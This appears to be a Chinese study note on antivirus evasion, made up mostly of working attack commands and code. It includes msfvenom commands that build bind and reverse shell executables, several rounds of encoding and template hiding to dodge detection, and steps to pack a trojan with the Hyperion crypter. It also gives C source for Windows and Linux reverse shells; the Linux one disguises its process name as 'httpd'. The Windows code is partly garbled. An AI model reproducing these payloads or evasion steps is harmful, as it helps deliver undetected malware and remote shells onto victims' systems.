本节开始学习免杀
免杀,避免被杀,使得恶意软件能进入目标机不被查杀
恶意程序最主要的防护手段
检测原理
事后手段
修改二进制文件中的特征字符
加密技术(crypter)
防病毒软件的检测
恶意软件制造者
AV 厂商
一些在线站点
单一 AV 厂商的病毒库很难达到 100% 覆盖
这两个在线多引擎查杀网站与 AV 查杀共享信息
这两个是搞黑的在线多引擎查毒站
常用的 RAT 软件
#生成反弹shell
msfvenom -p windows/shell/bind_tcp lhost=192.168.1.119 lport=4444 -a x86 --platform win -f exe -o a.exe
#-p是payload,-a是系统架构,--platform是平台,-f是软件格式,-o是命名
#加密编码反弹shell
msfvenom -p windows/shell/bind_tcp lhost=192.168.1.119 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o b.exe
#-e指定加密模块,-i是加密次数,这里重复加密,-b是特殊字符过滤
#对比两者里面可读内容
string a.exe
string b.exe
#在上面的网站里查下这两个,大概能有50%查出
#利用模板隐藏shell
msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=192.168.1.119 lport=4444 -a x86 --platform win -f exe -o c.exe
#-x指定模板,plink是个putty工具
#多重编码
msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=192.168.1.119 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > d.exe
Hyperion (32bit PE 程序加密器)
Crypter / Container(解密器 PE Loader )
https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/
git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.3.zip
unzip Hyperion-2.3.zip
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
# 生成加密器
cd Hyperion-1.2 && i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe
# 生成木马程序
msfvenom -p windows/shell/reverse_tcp lhost=192.168.1.119 lport=4444 --platform win -e x86/shikata_ga_nai -a x86 -f exe -o p.exe
# 对木马程序进行加密
wine h.exe p.exe x.exe
#得到x.exe
wine gcc.exe windows.c -o windows.exe -lws2_32
脚本windows.c
#include
#include
#pragma comment(lib,"ws2_32")
WSADATA wsaData;
SOCKET Winsock;
SOOKET Sock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main(int argc,char *argv[])
{
WSAStartup(MAKEWORD(2,2), wsaData);
winsock=WSASoket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
if (argc != 3){fprintf(stderr,"Uso: \n" ;) exit(1);}
struct hostent *host;
host = gethostbyname(argv [1] );
strcpy(ip_addr,inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(argv[2]));
hax.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(Winsock,(SOCKADDR* &hax,sizeof(hax),NULL,NULL,NULL,NULL;
memset(&ini_processo,0,sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = START_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL,"cmd exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&process_info);
}
gcc linux_revers_shell.c -o linux
# 测试程序
nc -nvlp 333
./linux 127.0.0.1 333
脚本linux_revers_shell.c
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
struct sockaddr_in sock;
int s;
if (argc != 3)
{
fprintf(stderr, "uso: \n" ); exit(1);
}
sock.sin_family = AF_INET;
sock.sin_port = htons(atoi(argv[2]));
sock.sin_addr.s_addr = inet_addr(argv[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s,(struct sockaddr_in *)&sock, sizeof(struct sockaddr_in));
dup2(s,0);
dup2(s,1);
dup2(s,2);
execl("/bin/sh","httpd",(char *)0); //precess httpd
}
对免杀有个简略的概念
并简单了解了一些例子